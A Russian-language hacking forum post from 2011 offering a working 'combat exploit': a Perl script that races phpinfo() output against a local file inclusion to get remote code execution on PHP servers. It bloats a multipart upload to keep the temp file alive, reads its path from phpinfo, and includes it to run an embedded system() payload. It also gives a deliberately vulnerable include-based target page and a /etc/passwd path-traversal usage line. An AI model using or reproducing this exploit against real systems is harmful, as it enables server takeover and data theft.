Показать сообщение отдельно
Старый 16.01.2011, 04:46   #2
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Боевой сплойт и таргет для теста:

Код:
$ perl test.pl http://www.[выпилено]/i.php http://[выпилено]/g.php?f=../../../../../../../etc/passwd
Первый параметр - урл для phpinfo, второй - работающий инклуд /etc/passwd (впрочем, я его не проверяю, так что на винде тоже будет работать - сделано исключительно для удобства и для поддержки сложных инклудов)

i.php
PHP код:
phpinfo(); 
g.php
PHP код:
<?php
include("./".$_REQUEST["f"]);
echo 
"done\n";
?>

Код:
#!/usr/bin/perl -w
use strict;
use IO::Socket;
use LWP::Simple;

my $rcvbuf = 512; # increase if script is running too slow. will be automatically doubled
my $bigz = 3000; # 8000 - long line to create bottlenecks
my $junkheaders = 30; # 1-90
my $junkfiles = 40; #10 ~ 4Mb of overhead
my $junkfilename = '>' x 100000;
my ($host,$path);

if($ARGV[0] =~ m#http://(.+?)(/.+)#) {$host = $1;$path = $2} else { die "Can't extract host\n"}; 
my $inc = $ARGV[1]; #path to /etc/passwd
$|=1;
print "Generating huge headers\t\t";
my $headers = 
"POST $path HTTP/1.0
Host: $host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
z:".("Z" x $bigz)."\n";
for(my $i=0; $i<$junkheaders; $i++) {
	$headers .= "z$i: $i\n";
}
$headers .= "Content-Type: multipart/form-data; boundary=---------------------------59502863519624080131137623865
Content-Length: ";
my $content=
'-----------------------------59502863519624080131137623865
Content-Disposition: form-data; name="tfile"; filename="test.html"
Content-Type: text/html

hello<br>
<?php system("ps aux");exit();?>
bye

-----------------------------59502863519624080131137623865--
';
for (my $i=0; $i<$junkfiles; $i++) {
$content .= '-----------------------------59502863519624080131137623865
Content-Disposition: form-data; name="ffile'.$i.'"; filename="'.$i.$junkfilename.'"
Content-Type: text/html

no

-----------------------------59502863519624080131137623865--
';}
$headers .= length($content)."\n\n".$content;
print "[headers ready]\n";

	my $remote = IO::Socket::INET->new( Proto     => "tcp",
	                                 PeerAddr  => $host,
	                                 PeerPort  => 80,
	                               );
	setsockopt($remote, SOL_SOCKET, SO_RCVBUF,pack("I",$rcvbuf));
	sleep(1);
	print "Setting buffer size\t\t[".unpack("I",getsockopt($remote, SOL_SOCKET, SO_RCVBUF))."]\n";
	unless ($remote) { die "cannot connect to http daemon on $host" }
	$remote->autoflush(1);
	print "Sending request\t\t\t";
	print $remote $headers;
	print "[request sent]\n";
	my $line = <$remote>;
	print $line;	
	print "Reading";
	while ( $line = <$remote> ) { 
		print ".";
#		print $line;
		if ($line =~ m#tmp_name].+(/tmp/php.+)$#) {
			my $tmpfile = $1;
			print "\nGot filename: $tmpfile\n";
			print "Including...\n";
			$inc =~ s#/etc/passwd#$tmpfile#;
			getprint("$inc");
			print "\nKeeping file $tmpfile in tmp, use it as long as you need it\n";
			while ($remote) {print ".";sleep 5};
			close $remote; exit;
		}
	}
print "Fail\n";
Тестим, отписываемся.

--
апдейт для лучшей совместимости с suhosin

Последний раз редактировалось Jokester; 07.09.2011 в 19:56.. Причина: снова апдейт
tipsy вне форума   Ответить с цитированием